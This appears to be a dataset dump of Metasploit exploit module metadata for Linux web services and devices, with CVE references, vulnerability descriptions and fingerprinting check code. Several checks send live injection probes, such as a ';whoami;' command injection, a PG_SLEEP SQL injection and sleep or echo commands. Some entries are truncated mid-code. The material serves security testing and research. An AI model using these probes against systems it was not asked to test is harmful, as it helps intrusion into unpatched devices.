deardaniel/secdata-raw huggingface dataset:
Metasploit Module: D-Link info.cgi POST Request Buffer Overflow
Type: exploit
Path: modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb
Platform: linux
Disclosure date: 2014-05-22
References: CVE-2014-125117, OSVDB-108249, URL-http://www.devttys0.com/2014/05/hacking-the-dspw215-again/

Description:
This module exploits an anonymous remote code execution vulnerability on different D-Link
          devices. The vulnerability is a stack based buffer overflow in the my_cgi.cgi component,
          when handling specially crafted POST HTTP requests addresses to the /common/info.cgi
          handler. This module has been successfully tested on D-Link DSP-W215 in an emulated
          environment.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'uri' => "/common/info.cgi",
        'method' => 'GET'
      })

      if res && [200, 301, 302].include?(res.code)
        if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/
          @my_target = targets[1] if target['auto']
          return Exploit::CheckCode::Appears('The target appears to be vulnerable')
        end

        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Apache Spark Unauthenticated Command Execution
Type: exploit
Path: modules/exploits/linux/http/spark_unauth_rce.rb
Platform: java
Disclosure date: 2017-12-12
References: CVE-2018-11770, URL-https://www.jianshu.com/p/a080cb323832, URL-https://github.com/vulhub/vulhub/tree/master/spark/unacc

Description:
This module exploits an unauthenticated command execution vulnerability in Apache Spark with standalone cluster mode through REST API.
          It uses the function CreateSubmissionRequest to submit a malious java class and trigger it.

Check method (fingerprinting):
return CheckCode::Detected('The target service was detected') if get_version

    CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: D-Link Devices HNAP SOAPAction-Header Command Execution
Type: exploit
Path: modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb
Platform: linux
Disclosure date: 2015-02-13
References: CVE-2015-2051, URL-http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051, URL-http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
Targets: MIPS Little Endian

Description:
Different D-Link Routers are vulnerable to OS command injection in the HNAP SOAP
          interface. Since it is a blind OS command injection vulnerability, there is no
          output for the executed command. This module has been tested on a DIR-645 device.
          The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB,
          DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB, DIR-300 revB,
          DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR

Check method (fingerprinting):
uri = '/HNAP1/'
    soap_action = 'http://purenetworks.com/HNAP1/GetDeviceSettings'

    begin
      res = send_request_cgi({
        'uri' => uri,
        'method' => 'GET',
        'headers' => {
          'SOAPAction' => soap_action,
        }
      })

      if res && [200].include?(res.code) && res.body =~ /D-Link/
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: BentoML\'s runner server RCE
Type: exploit
Path: modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb
Platform: python
Disclosure date: 2025-04-09
References: CVE-2025-32375
Targets: Python payload, Linux Command

Description:
There was an insecure deserialization in BentoML's runner server prior to version 1.4.8.
          By setting specific headers and parameters in the POST request, it is possible to execute unauthorized arbitrary code in the context of the user running the server,
          which will grant initial access and information disclosure.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'metrics')
    })
    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
    return Exploit::CheckCode::Unknown('BentoML\'s runner server not detected.') unless res&.get_html_document&.text&.include?('bentoml_runner')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'readyz')
    })
    return Exploit::CheckCode::Unknown('BentoML\'s runner server not ready.') unless res&.code == 200

    Exploit::CheckCode::Detected("BentoML\'s runner server detected.")
    # Version check not available
  end
Metasploit Module: SuiteCRM Log File Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/suitecrm_log_file_rce.rb
Platform: linux
Disclosure date: 2021-04-28
References: CVE-2021-42840, CVE-2020-28328, EDB-49001, URL-https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/, URL-http://web.archive.org/web/[PII_REDACTED]4023/https://theyhack.me/SuiteCRM-RCE-2/
Targets: Linux (x64), Linux (cmd)

Description:
This module exploits an input validation error on the log file extension parameter. It does
          not properly validate upper/lower case characters. Once this occurs, the application log file
          will be treated as a php file. The log file can then be populated with php code by changing the
          username of a valid user, as this info is logged. The php code in the file can then be executed
          by sending an HTTP request to the log file. A similar issue was reported by the same researcher
          where a blank file extension could be supplied and the extension could be provided in the file
          name. This exploit will work on those versions as well, and those references are included.

Check method (fingerprinting):
authenticate unless @authenticated
    return Exploit::CheckCode::Unknown('Could not determine the target status') unless @authenticated

    version_check_request = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'module' => 'Home',
          'action' => 'About'
        }
      }
    )

    return Exploit::CheckCode::Unknown("#{peer} - Connection timed out") unless version_check_request

    version_match = version_check_request.body[/
      Version
      \s
      \d{1} # Major revision
      \.
      \d{1,2} # Minor revision
      \.
      \d{1,2} # Bug fix release
      /x]

    version = version_match.partition(' ').last

    if version.nil? || version.empty?
      about_url = "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About"
      return Exploit::CheckCode::Unknown("Check #{about_url} to confirm version.")
    end

    patched_version = Rex::Version.new('7.11.18')
    current_version = Rex::Version.new(version)

    return Exploit::CheckCode::Appears("SuiteCRM #{version}") if current_version <= patched_version

    Exploit::CheckCode::Safe("SuiteCRM #{version}")
  end
Metasploit Module: Apache CouchDB Arbitrary Command Execution
Type: exploit
Path: modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
Platform: linux
Disclosure date: 2016-04-06
References: CVE-2017-12636, CVE-2017-12635, URL-https://justi.cz/security/2017/11/14/couchdb-rce-npm.html, URL-http://docs.couchdb.org/en/latest/cve/2017-12636.html, URL-https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf[PII_REDACTED]1ebdf0c67@%3Cdev.couchdb.apache.org%3E

Description:
CouchDB administrative users can configure the database server via HTTP(S).
          Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
          This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
          including downloading and executing scripts from the public internet.

Check method (fingerprinting):
get_version
    return CheckCode::Unknown('Could not determine the target status') if @version.nil?

    version = Rex::Version.new(@version)
    return CheckCode::Unknown('Could not determine the target status') if version.version.empty?

    vprint_status "Found CouchDB version #{version}"

    return CheckCode::Appears("Version #{version} appears to be vulnerable") if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))

    CheckCode::Safe("Version #{version} is not vulnerable")
  end
Metasploit Module: Endian Firewall Proxy Password Change Command Injection
Type: exploit
Path: modules/exploits/linux/http/efw_chpasswd_exec.rb
Platform: linux
Disclosure date: 2015-06-28
References: CVE-2015-5082, EDB-37426, EDB-37428
Targets: Linux x86, Linux x86_64

Description:
This module exploits an OS command injection vulnerability in a
          web-accessible CGI script used to change passwords for locally-defined
          proxy user accounts. Valid credentials for such an account are
          required.

          Command execution will be in the context of the "nobody" account, but
          this account had broad sudo permissions, including to run the script
          /usr/local/bin/chrootpasswd (which changes the password for the Linux
          root account on the system to the value specified by console input
          once it is executed).

          The password for the proxy user account specified will *not* be
          changed by the use of this module, as long as the target system is
          vulnerable to the exploit.

          Very early versions of Endian Firewall (e.g. 1.1 RC5) require
          HTTP basic auth credentials as well to exploit this vulnerability.
          Use the USERNAME and PASSWORD advanced options to specify these values
          if required.

          Versions >= 3.0.0 still contain the vulnerable code, but it appears to
          never be executed due to a bug in the vulnerable CGI script which also
          prevents normal use (http://jira.endian.com/browse/UTM-1002).

          Versions 2.3.x and 2.4.0 are not vulnerable because of a similar bug
          (http://bugs.endian.com/print_bug_page.php?bug_id=3083).

          Tested successfully against the following versions of EFW Community:

          1.1 RC5, 2.0, 2.1, 2.2, 2.5.1, 2.5.2.

          Should function against any version from 1.1 RC5 to 2.2.x, as well as
          2.4.1 and 2.5.x.
Metasploit Module: MagnusBilling application unauthenticated Remote Command Execution.
Type: exploit
Path: modules/exploits/linux/http/magnusbilling_unauth_rce_cve_2023_30258.rb
Platform: php
Disclosure date: 2023-06-26
References: CVE-2023-30258, URL-https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258, URL-https://eldstal.se/advisories/230327-magnusbilling.html
Targets: PHP, Unix Command, Linux Dropper

Description:
A Command Injection vulnerability in MagnusBilling application 6.x and 7.x allows
          remote attackers to run arbitrary commands via unauthenticated HTTP request.
          A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec().
          The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and
          not properly sanitised/escaped.
          After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands.
          The commands run with the privileges of the web server process, typically `www-data` or `asterisk`.
          At a minimum, this allows an attacker to compromise the billing system and its database.

          The following MagnusBilling applications are vulnerable:
          - MagnusBilling application version 6 (all versions);
          - MagnusBilling application up to version 7.x without commit 7af21ed620 which fixes this vulnerability;

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited.")
    res = send_request_cgi!({
      'method' => 'GET',
      'ctype' => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path)
    })
    # Check if target is a magnusbilling application
    return CheckCode::Unknown('No response received from target.') unless res
    return CheckCode::Safe('Likely not a magnusbilling application.') unless res.code == 200 && res.body =~ /MagnusBilling/i

    # blind command injection using sleep command
    sleep_time = rand(4..8)
    print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
    _res, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_command("sleep #{sleep_time}")
    end
    print_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
    return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time

    CheckCode::Vulnerable('Successfully tested command injection.')
  end
Metasploit Module: Barco WePresent file_transfer.cgi Command Injection
Type: exploit
Path: modules/exploits/linux/http/wepresent_cmd_injection.rb
Platform: unix
Disclosure date: 2019-04-30
Authors: Jacob Baines
References: CVE-2019-3929, EDB-46786, URL-https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c
Targets: Unix In-Memory, Linux Dropper

Description:
This module exploits an unauthenticated remote command injection
          vulnerability found in Barco WePresent and related OEM'ed products.
          The vulnerability is triggered via an HTTP POST request to the
          file_transfer.cgi endpoint.

Check method (fingerprinting):
check_resp = send_command(';whoami;', 5)
    unless check_resp
      return CheckCode::Unknown('Connection failed.')
    end

    if check_resp.code == 200
      check_resp.body.gsub!(/[\r\n]/, '')
      if check_resp.body == 'root'
        return CheckCode::Vulnerable('The target is vulnerable')
      end
    end

    CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: LifeSize UVC Authenticated RCE via Ping
Type: exploit
Path: modules/exploits/linux/http/lifesize_uvc_ping_rce.rb
Platform: unix
Disclosure date: 2014-03-21
References: EDB-32437

Description:
When authenticated as an administrator on LifeSize UVC 1.2.6, an attacker
          can abuse the ping diagnostic functionality to achieve remote command
          execution as the www-data user (or equivalent).
Metasploit Module: Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb
Platform: linux
Disclosure date: 2016-06-27
References: CVE-2025-34112, URL-http://www.security-assessment.com/files/documents/advisory/Riverbed-SteelCentral-NetProfilerNetExpress-Advisory.pdf

Description:
This module exploits three separate vulnerabilities found in the Riverbed SteelCentral NetProfiler/NetExpress
          virtual appliances to obtain remote command execution as the root user. A SQL injection in the login form
          can be exploited to add a malicious user into the application's database. An attacker can then exploit a
          command injection vulnerability in the web interface to obtain arbitrary code execution. Finally, an insecure
          configuration of the sudoers file can be abused to escalate privileges to root.

Check method (fingerprinting):
json_payload_check = "{\"username\":\"check_vulnerable%'; SELECT PG_SLEEP(2)--\", \"password\":\"pwd\"}";

    # Verifies existence of login SQLi
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/common/1.0/login'),
      'ctype' => 'application/json',
      'encode_params' => false,
      'data' => json_payload_check
    })

    if res && res.body && res.body.include?('AUTH_DISABLED_ACCOUNT')
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Bitbucket Git Command Injection
Type: exploit
Path: modules/exploits/linux/http/bitbucket_git_cmd_injection.rb
Platform: linux
Disclosure date: 2022-08-24
References: URL-https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/, URL-https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24[PII_REDACTED].html, URL-https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis, URL-https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/, CVE-2022-36804
Targets: Linux Dropper, Unix Command

Description:
Various versions of Bitbucket Server and Data Center are vulnerable to
          an unauthenticated command injection vulnerability in multiple API endpoints.

          The `/rest/api/latest/projects/{projectKey

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'login')
    )

    return CheckCode::Unknown('Failed to receive response from application') unless res

    unless res.body.include?('Bitbucket')
      return CheckCode::Safe('Target does not appear to be Bitbucket')
    end

    footer = res.get_html_document&.at('footer')
    return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer

    version_str = footer.at('span')&.children&.text
    return CheckCode::Detected('Cannot find version string in footer') unless version_str

    matches = version_str.match(/v(\d+\.\d+\.\d+)/)
    return CheckCode::Detected('Version unknown') unless matches && matches.length > 1

    version_str = matches[1]
    vprint_status("Found Bitbucket version: #{matches[1]}")

    num_vers = Rex::Version.new(version_str)
    return CheckCode::Safe("Version #{version_str} is not vulnerable") if num_vers <= Rex::Version.new('6.10.17')

    major, minor, revision = version_str.split('.')
    case major
    when '6'
      return CheckCode::Appears("Version #{version_str} appears to be vulnerable")
    when '7'
      case minor
      when '6'
        return CheckCode::Appears("Version #{version_str} appears to be vulnerable") if revision.to_i < 17
      when '17'
        return CheckCode::Appears("Version #{version_str} appears to be vulnerable") if revision.to_i < 10
      when '21'
        return CheckCode:
Metasploit Module: Cisco UCS Director Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/cisco_ucs_rce.rb
Platform: unix
Disclosure date: 2019-08-21
References: CVE-2019-1937, CVE-2019-1936, URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby, URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj, URL-https://seclists.org/fulldisclosure/2019/Aug/36, URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-ucs-rce.txt

Description:
The Cisco UCS Director virtual appliance contains two flaws that can be combined
          and abused by an attacker to achieve remote code execution as root.
          The first one, CVE-2019-1937, is an authentication bypass, that allows the
          attacker to authenticate as an administrator.
          The second one, CVE-2019-1936, is a command injection in a password change form,
          that allows the attacker to inject commands that will execute as root.
          This module combines both vulnerabilities to achieve the unauthenticated command
          injection as root.
          It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
          Note that Cisco also mentions in their advisory that their IMC Supervisor and
          UCS Director Express are also affected by these vulnerabilities, but this module
          was not tested with those products.

Check method (fingerprinting):
# can't think of anything better then this
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
      'method' => 'GET'
    })
    if res and res.code == 302
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    return Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: LibreNMS addhost Command Injection
Type: exploit
Path: modules/exploits/linux/http/librenms_addhost_cmd_inject.rb
Platform: unix
Disclosure date: 2018-12-16
References: CVE-2018-20434, URL-https://shells.systems/librenms-v1-46-remote-code-execution-cve-2018-20434/, URL-https://gist.github.com/mhaskar/516df57aafd8c6e3a1d70765075d372d

Description:
This module exploits a command injection vulnerability in the open source
          network management software known as LibreNMS. The community parameter used
          in a POST request to the addhost functionality is unsanitized. This parameter
          is later used as part of a shell command that gets passed to the popen function
          in capture.inc.php, which can result in execution of arbitrary code.

          This module requires authentication to LibreNMS first.
Metasploit Module: VMware Workspace ONE Access CVE-2022-22954
Type: exploit
Path: modules/exploits/linux/http/vmware_workspace_one_access_cve_2022_22954.rb
Platform: unix
Disclosure date: 2022-04-06
References: CVE-2022-22954, URL-https://www.vmware.com/security/advisories/VMSA-2022-0011.html, URL-https://srcincite.io/advisories/src-2022-0005/, URL-https://github.com/sherlocksecurity/VMware-CVE-2022-22954, URL-https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis
Targets: Unix Command, Linux Dropper

Description:
This module exploits CVE-2022-22954, an unauthenticated server-side
          template injection (SSTI) in VMware Workspace ONE Access, to execute
          shell commands as the "horizon" user.

Check method (fingerprinting):
ret = execute_command("echo #{token = rand_text_alphanumeric(8..16)}")

    return CheckCode::Unknown('Could not determine the target status') unless ret
    return CheckCode::Safe('The target is not vulnerable') unless ret.match?(/device (?:id|type): #{token}/)

    CheckCode::Vulnerable('The target is vulnerable')
  end
Metasploit Module: Netgear Devices Unauthenticated Remote Command Execution
Type: exploit
Path: modules/exploits/linux/http/netgear_unauth_exec.rb
Platform: linux
Disclosure date: 2016-02-25
References: CVE-2016-1555, URL-https://kb.netgear.com/30480/CVE-2016-1555-Notification?cid=wmt_netgear_organic, URL-http://seclists.org/fulldisclosure/2016/Feb/112

Description:
From the CVE-2016-1555 page: (1) boardData102.php, (2) boardData103.php,
          (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in
          Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350,
          WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to execute
          arbitrary commands.

Check method (fingerprinting):
fingerprint = Rex::Text.rand_text_alpha(12) # If vulnerability is present, we will get this back in the response
    res = execute_command("echo #{fingerprint}") # the raw POST response

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    unless res.code == 200
      return CheckCode::Safe('The target is not vulnerable')
    end

    unless res.get_html_document.at('input').to_s.include? fingerprint
      return CheckCode::Safe('The target is not vulnerable')
    end

    CheckCode::Vulnerable('The target is vulnerable')
  end

  # execute a command, or simply send a POST request